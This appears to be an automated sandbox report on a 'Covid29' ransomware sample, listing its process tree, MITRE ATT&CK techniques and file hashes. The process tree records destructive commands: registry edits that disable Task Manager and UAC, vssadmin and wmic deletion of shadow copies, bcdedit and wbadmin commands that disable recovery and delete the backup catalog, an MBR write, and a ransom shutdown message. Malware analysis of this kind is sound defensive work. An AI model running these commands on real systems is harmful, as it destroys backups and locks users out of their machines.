  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5404 /prefetch:1
  2⤵
  PID:1388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5420 /prefetch:1
  2⤵
  PID:3732
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4984 /prefetch:1
  2⤵
  PID:2580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6784 /prefetch:1
  2⤵
  PID:3028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4928 /prefetch:1
  2⤵
  PID:1924
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4004 /prefetch:1
  2⤵
  PID:5588
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6596 /prefetch:1
  2⤵
  PID:5192
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5408 /prefetch:1
  2⤵
  PID:5804
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6904 /prefetch:1
  2⤵
  PID:4788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,10616061647271762365,11442691954004199209,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6836 /prefetch:1
  2⤵
  PID:4684

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4136

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2460

C:\Users\Admin\AppData\Local\Temp\Temp1_Covid29 Ransomware.zip\TrojanRansomCovid29.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_Covid29 Ransomware.zip\TrojanRansomCovid29.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:2716
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\30F1.tmp\TrojanRansomCovid29.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  PID:4268
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\30F1.tmp\fakeerror.vbs"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1528
- - C:\Windows\SysWOW64\PING.EXE
    ping localhost -n 2
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1644
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5148
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5164
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5180
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5196
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5212
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5228
- - C:\Windows\SysWOW64\reg.exe
    reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:5244
- - C:\Users\Admin\AppData\Local\Temp\30F1.tmp\mbr.exe
    mbr.exe
    3⤵
    - Executes dropped EXE
    - Writes to the Master Boot Record (MBR)
    - System Location Discovery: System Language Discovery
    PID:5268
- - C:\Users\Admin\AppData\Local\Temp\30F1.tmp\Cov29Cry.exe
    Cov29Cry.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5288
  - - C:\Users\Admin\AppData\Roaming\svchost.exe
      "C:\Users\Admin\AppData\Roaming\svchost.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      Drops desktop.ini file(s)
      Sets desktop wallpaper using registry
      Modifies registry class
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5580
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
        5⤵
        
        PID:5884
      - C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:5936
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6092
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
        5⤵
        
        PID:5204
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:5248
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled no
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:5264
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
        5⤵
        
        PID:5268
      - C:\Windows\system32\wbadmin.exe
        
        wbadmin delete catalog -quiet
        6⤵
        Deletes backup catalog
        
        PID:5508
    - - C:\Windows\system32\NOTEPAD.EXE
        
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\covid29-is-here.txt
        5⤵
        
        PID:5812
- - C:\Windows\SysWOW64\shutdown.exe
    shutdown /r /t 300 /c "5 minutes to pay until you lose your data and system forever"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5304
- - C:\Windows\SysWOW64\PING.EXE
    ping localhost -n 9
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5372
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im explorer.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5260
- - C:\Users\Admin\AppData\Local\Temp\30F1.tmp\Cov29LockScreen.exe
    Cov29LockScreen.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:5212

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:5428

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5968

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3712

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5536

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:5644

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:3876

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39ef055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Management Instrumentation

T1047

Persistence

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
ab88f3e6cee8593b15f4b19429473290

SHA1
fd6ff2a4fcbf05b6c40fb3f11210c7a635748050

SHA256
4cc880fbcfde015dda6f503ee3343fd71df571d7dac737dde6f9ab5f89b5aa59

SHA512
f81870cb7e7dca67f4408ddaa3c12a0e0354bedb23f88ed0da8df77097f36f253d3196bbef05c26992a38e3a10a34991f50c95ab6614392c8e9d5b48e021c169

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
46e6ad711a84b5dc7b30b75297d64875

SHA1
8ca343bfab1e2c04e67b9b16b8e06ba463b4f485

SHA256
77b51492a40a511e57e7a7ecf76715a2fd46533c0f0d0d5a758f0224e201c77f

SHA512
8472710b638b0aeee4678f41ed2dff72b39b929b2802716c0c9f96db24c63096b94c9969575e4698f16e412f82668b5c9b5cb747e8a2219429dbb476a31d297e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
fdee96b970080ef7f5bfa5964075575e

SHA1
2c821998dc2674d291bfa83a4df46814f0c29ab4

SHA256
a241023f360b300e56b2b0e1205b651e1244b222e1f55245ca2d06d3162a62f0

SHA512
20875c3002323f5a9b1b71917d6bd4e4c718c9ca325c90335bd475ddcb25eac94cb3f29795fa6476d6d6e757622b8b0577f008eec2c739c2eec71d2e8b372cff

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
24945104fc04a4953f05407e71df7533

SHA1
f20efff1d294ec306fa5b367ffc2b96c69c9fb1b

SHA256
13f3f502278dc178379e2720017ccd5d13d7fc11d253907795bcea7c30b160ac

SHA512
f24e37d054858b3a9a80f8981c6c841e0c3cbe7aef9eddfacc24c5ddf8d2d084bc1cb1c5dc99cbb79cdcad22dde4ecb4c602f0defa7202f732eb602886fe6b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\12ec07ee-d69f-4d93-83b5-042c9137d4ad.tmp

Filesize
1KB

MD5
968cb2553967a3db28d819bbf3f907ee

SHA1
90849e086c449c5c6b96719c95d8415b36edbd69

SHA256
ae7269a4c7f162fdd690730bed30c769d3ac8b2c05d7b3a2e753888909472bf8

SHA512
289dbc2e5e078ff96796a1063daf055f198630f069ed2e6b335e0ea5976b95116d7fe7a8f70190faa1b00477c74470d17d365fc4f7d5c9e9223169b0b30340b3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\data_0

Filesize
44KB

MD5
65550a3bca2165beb3bd245d56c2e9ff

SHA1
5277c9cca869d1a22b771195f05771f7fc305428

SHA256
3d1b6095626e3f5d12031b38c54564732beea0f4f9b7307d0f8229b22ee195f2

SHA512
aeb6e3a40746ee223ad61460c898a4400e14239411797c823592057e4541328d4a39122e3e814a6be5f60d15b8f15eb6ee7143c72c8bdf5eee88ac2ba1d3423a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\data_1

Filesize
264KB

MD5
93e3a9e31f2e434acf6fd8806795bbf3

SHA1
8945fdeaaa47a8ed11915844089710049c7fcb21

SHA256
062f9d634890ed54b7c5f19a13372317fb6b9bce9ad66ff75e0654433e467556

SHA512
5590a5572129473df1363e93e6e69d1717af021caa0aaca7e16414d2538f4704e49c23f5b796f4a0dd0b6b0ed91ce703bb8d36d67b57c3bd8e93c4fca957500c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\data_2

Filesize
1.0MB

MD5
6273c66205f7407cebfade0ddad59128

SHA1
f0637d3a807d5ac28377f6aed5628dc93ec154c5

SHA256
90b559cfbebc58292af1012282101831c2a486d1474907a2326a1b29b73f7498

SHA512
3130ccca68cbe2c6d17baadb6ea36b98869c87e60c06a3ca87c5d79aabb0f91e9cb7519b6bd3d59d6212975be556e49a764b73a503c11607049d2fa7cd6fe3ef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\data_3

Filesize
4.0MB

MD5
dc2614b6a3d633a6c1a669c9196d21d0

SHA1
ca68db80df104b05354c5feae055ef32471f3c21

SHA256
2e582113b74ff08ad77649822e69d86fb6f4378e64580668a1b002404ef63f08

SHA512
ce3d8b84c1ea321cb229e4e77dbf23d3e125dd9eaff58ce6a29218cee21b4b289dc47451f56b6491c17b96d2d6df79c251491a4dd4812ea2c7b74e92e31416b7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000029

Filesize
18KB

MD5
107df3f63a8b637eed0a3f01c1181ca2

SHA1
6a367efe174a94850a9a60eca1b3cb9476ecca74

SHA256
7fbcf806307f836eebf78829d088e8cba825d711a42394f64fa7117271a878cf

SHA512
e4c2e6b6ca662cea6b74a70f5f40dfc9cca0b33de7efef339da815d3ee05cfa4771791a011ecee3e9537f77c4457744b1276d2ac4690cf621eae80f1011ce00e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\0720badf6795a0b6_0

Filesize
3KB

MD5
e9cac0840c412bade928dd7a9525dbd3

SHA1
cb4db61fdd578fa37b526051b64d633284a67efb

SHA256
0eecb509030b106af903523905fde712b636e2b7ed119ac9008e578f5dd3ea9c

SHA512
5b104837805b735c961c04509f818bdb373a76045a03f97d9dfe918ea3033e89e8b7a9dcc8aa1bdb7896b4e7131dc0448872f1ee6e78c7e6f220766a70eb2792

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3fd2be14abb3904c_0

Filesize
2KB

MD5
893906e0a20c5c7f22bda049680224a9

SHA1
507211b9933c4997ecddcdf16ee8db6b169ff347

SHA256
a47fdf194b7c898c0994411d6e512e6497c6bba1ce6bbfd7f8dc4fef2cf9e396

SHA512
bd959e9ce8c27ceb4f4c813fdb18aaf23d8acc860e496b089d3030dc6a88a003140eb359664090ad9031df003c21925dcebd8045d22805f2c82bc8b92fa58391

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4ff4b179c1c05fed_0

Filesize
1KB

MD5
e5d0e1f71dcd672d7a83778a4f058604

SHA1
f7e5ee482342eb1502a8b90dd099a9331683b29c

SHA256
dd9ae81f137bebd1c3ad26a0f7e4f6bba098025f26270defd665b24e3728e4fb

SHA512
f098374c8267c2eeec344168c0f5af726366a171e01b0d78fd143a8816913686bb4be873e3d0bc2c1242ba69b6612d42294384516eca8dc7a35f410b5c0a566a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\6b1c3d6d62495ca9_0

Filesize
3KB

MD5
6a83e9d798f237ee299317de19213a27

SHA1
f3b5231e045ee2d3cac83d5e8b7b3466c5724d88

SHA256
d3448f62dc0a1b2014764296d5d11149cbd2b4f030f3688c6cd540011a4d718c

SHA512
d929d990ae435b6fb18d4ed89f2a424838c17d93583f88a0d4527cae50a4f7afc6c7d2fe9f65caa8b37d01fcc6b4cd3da5a153c8b24a1dc91a96414253960d8e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8d08d19cd3e85b13_0

Filesize
16KB

MD5
0f30fbd189a2cbc78f8af17736b7345f

SHA1
5761ebab14c854a40c13dbdf2f2ece3c753b3cf8

SHA256
90ffd3265cf3d4560e36bf4ba5971d2c207c2a81cca1ed5f192bb85a4d400a9e

SHA512
710c4f0fa3615975230aedf58502252b5f101e6508c398a38490d0571da3340e9ed4406f7212779fa4cde8a5c9b95e6cf17bf9c40b357210cea2d785e5fb5a6f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\cd9a47d844308cbb_0

Filesize
6KB

MD5
e588688f3c46e6d6aabab01b7320c928

SHA1
85308909a923dc720bb8fd18b984475ef63f6256

SHA256
95c081d342f99311f94c485c7099716d213dd1a3754e0c62787e140d44396f14

SHA512
04c41ca2bee22119ccb32096a5e4b513095c156d0319be25267ecdb326de70606d0be04293ce93c7a1ba97c19526344743c721f529760bf67d2184a8ce838cfc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\db66159bbbb57f22_0

Filesize
10KB

MD5
21293b6029328592f842b7d8d980ae9a

SHA1
fea4c5e809511d4ec4e9074402370fe2feef0c9f

SHA256
dcf14d7cf9ce0c3e1fc212b650fe0d7ba380dd3bc1986d71049d104bdf660b7c

SHA512
f59b5fdb77bd5a9b8251c9cce8e04ad4c6d806a6456ea5fac4a7c9fbf9e9ec7d395c5088938b7f957f9d6baf12b0593637a71f8fcd0013777f8707ebb0122a70

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\ebf8493d76b2bd33_0

Filesize
4KB

MD5
15263734424e36c53e18df632c92e2d7

SHA1
399ecb9da816aa1925e1b84ec41d1aace71e42e5

SHA256
2c90603d7c25b6495d50b57f319bf3f708df91533f67a2a62dcaf4a4052e537e

SHA512
11eb64da591102839a9902cf657bd888d5b33ee31f415ecf2bf8c26bf0f813eab19ce8936716330f05b64cb71af238bfd5f22175d953ed087b44612c06a4d8c9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fbd11ea5cda006cc_0

Filesize
26KB

MD5
587a47325c659b7ebceb1652ed233c82

SHA1
e9addbfb77513e950806e8425d25a0339740d037

SHA256
4cb148c98a219b59f376bf71f51abd4c1548bbceec2e2dd7fc00f3000dc1fe8b

SHA512
89e2421099488f35e531ed362d7a18720b5b70ddd9f441348176f11a102233d5912340caa98db0e4bc92fa0cb5e8b1f74d012576d8776206d8e0f455fe3fd142

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
4KB

MD5
fb6a7d777b42f0af8d3d1c100fb6d35e

SHA1
a01e32ca409e8e75b7ee1b31ee26eff5729ac18e

SHA256
15d0202e820a26a50da11616bcf75ce99bc0b0011bf6cd4cfcb590c484c4e641

SHA512
e539831380a56754e108530e9802a8de43c421319aa527b4fe9c96a60d20060f9505bb9daa31a05f90c0fb7ceea44dd521598e9a24c88e6c9f293dfa13221285

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
4KB

MD5
0c066f506326d96137965413b1b105f0

SHA1
cd8b82dcc14f17aaba8bc97f42e9b201d3429dfe

SHA256
77057fc1b76e2d529f4206398df56af274686bd20c9a56dcc6204c58506b5f8e

SHA512
222a3b337757e8020c8c8b508ee7b92f65a321d77fc263c62d445b62d541884c77e0c29ca6492241b5c4c27b32278e2168eabcd5b242b98f6f4969b395c08b05

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
4KB

MD5
c7293752a0d7e5d8dd38a8db1259fca2

SHA1
75e8d4c2f94f9037d4c2d314a17f3736972d6c38

SHA256
eb2909e63a1f77bd7a601c6b3a43da5dc4714f845a25e092025bcc3ed4f25273

SHA512
85aeea7ab856c8059523190e55faa914d97cf8903338ebbb23eedc14ce213c63835d238d7dd19a991a25ef6ba31cd9a025f3bda6ceda7eebd311bf726cf36c73

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
4KB

MD5
7097e0ee304529c81b0528918edc33e8

SHA1
39a7990e48551964d97812659364ad54270b51b9

SHA256
bb91804d74392fa07f40f75965a915dec59278579d22cfa8f2e3603a44e16a62

SHA512
866e04985dfe14e447323a30e28180b8326e786bea16bba50e4b62e40a47812a5eba934d1f7091a086c12e184036f459a7b8c37f8cd9542539609aaaaa70f89f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
4KB

MD5
c1103f72936e86d7ea279b901866c430

SHA1
1d97d56ccddd98132cabd6f3ed831fb7ef68090a

SHA256
f03cd5e4b2919e0de5920fcd8cdde9ae40a096172f84049b960923455cb0c475

SHA512
49f5e35cc4b2a05300c36c9296fc49bd1fee5194f6c1c972eded15d081f88bfb2a6af8d61b99c6ce602a54b97d166c321a3d346f13e65833d747b044e370c403

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
3eb0bb9779bf44720865307891577d8a

SHA1
f75cf8d76ddd95a9a85d1860f175f8a21bd54f50

SHA256
34ba04cbc8072a24a915230771831f5591d7d4a8ea78162d74a4115e4dad8c9f

SHA512
2aa46222b5757237d900fa4c3d4cbfe8dd2f2def7f2839c76c5f98c14c71df2e5872d9c0222157d30c62bbc50ee4c2abca733edb6e5d508a05a0a0b8b4f4a3fa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
3KB

MD5
0a840f2f36852240e90ab24c05446e86

SHA1
66d1a5aac434cb1bfd6ea67bafcbaef22d7e8132

SHA256
a0773dde7f13d61b0e397e721dcbb9a28108f68f1487dfa39fbceb3d82b9dab0

SHA512
44f77a09ef09d4d747b0a178063a3f7eb1213461aa189d53231c7cb9e632bd86575cc5809c057ce13402d000e9c4d52f3ae886dea414f50f39271e30c4550a4c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies

Filesize
28KB

MD5
00d84a786bf102d31ad8dd671011f92a

SHA1
ae445ef7a2b6523b46cf716e424d8dcc202ddb7e

SHA256
f5d2252086d2f60fa8130e297f166553888fd300a812a1136dafaecfb776f2bf

SHA512
fa65ffd2233b5ed6f2fc6602cdd835073016cb93788aa7464224a23db3e49b886265b77d986db3dc6e6e13a3393c419293c837cabf0a0a5833d45237286c5157

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Favicons

Filesize
20KB

MD5
e3cb8d6a05c5346b9fa343932403e7c0

SHA1
7b21c5073ec2142d9bf6b70d87346f6461d76fd9

SHA256
fd3d9bf45010e55be97b4433898ac675e252c69472ed8ca13fa419eb6728c9e1

SHA512
d0351c9fb3da1ae1e1de19d3d366632f23d341acc27503751c46385e9817cf93016dc2b31bdb096b5cfb0d570229dfa826f47fc7cbe93f2f4bedf61819f61c13

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_1

Filesize
264KB

MD5
351414745c44382110633041894cc4b4

SHA1
c4e6829d52a2fcbe00b5ab5d03b5ad7da86055b3

SHA256
9931a443ee0d0ab5d4a90f21632d014274905cb34da56ed71abb2d4d41e56839

SHA512
c437ae40423d79498f201c6f8b49c4e32ab9fe5792122fb56882c3eb59e943bed6e2241b1ee7f8ee4012ca1482ecff77a97b0654cb29e298d0daf15600b716c5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History

Filesize
116KB

MD5
3a26e726c4d26b7064e199be01f54a62

SHA1
9903834ad378429f3e0e7bb6706f057caae4e51c

SHA256
95bfc48dfb567578806de860aaec198f5f0c39f3e25e92e48bb670e52e72d7c2

SHA512
211f60d24379a66f8bd5579da0b34e62a7fad18646d0f01dac9585ef94063e4903549fc7e3a47ab2c21bacbd18bc0ada9c931603fd12ebebb9a87daaffb491bf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\History Provider Cache

Filesize
2KB

MD5
99e88098de083712ab31de853d137ed8

SHA1
aaaca46270acf5d7cc3ce8886995a138029f1f64

SHA256
e871f6e17efc02ba31754ef430d3dfc2ec22d6d379ea9dbdd9b32b4b128ebf21

SHA512
4aafb826b8c03477e731a76eaa2e7c86ef3e1913a215799f45f391d71e43a4c344074427ec5cd3829a43244216e56c922dd5ee92000dc6fc55cc078d29f6ef4f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Filesize
299B

MD5
c4a9a468125aacd748b767b3e7700045

SHA1
066757539e3f49196db02ed5471066b13f7fa2bc

SHA256
3d05d5090c734181229e13e79b2866feed2e112ddc15c36a4fc6524a2432569a

SHA512
242597e5988b70faf89eab2e80b3249516339a270bd51d8e75fe7c928b7c235e82f477515abab4b3efc99b569ecf5dce9ffdc39cc4214280ff1044ce00aae6ee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Filesize
328B

MD5
7845ee4e6005a5e897066794a1f962d6

SHA1
41e0557e592524c31b79eb7017f466686be6053e

SHA256
19e28ef172b4d53da669db428c86ef44c8b9db1a5de1124c3492f7f3961b8360

SHA512
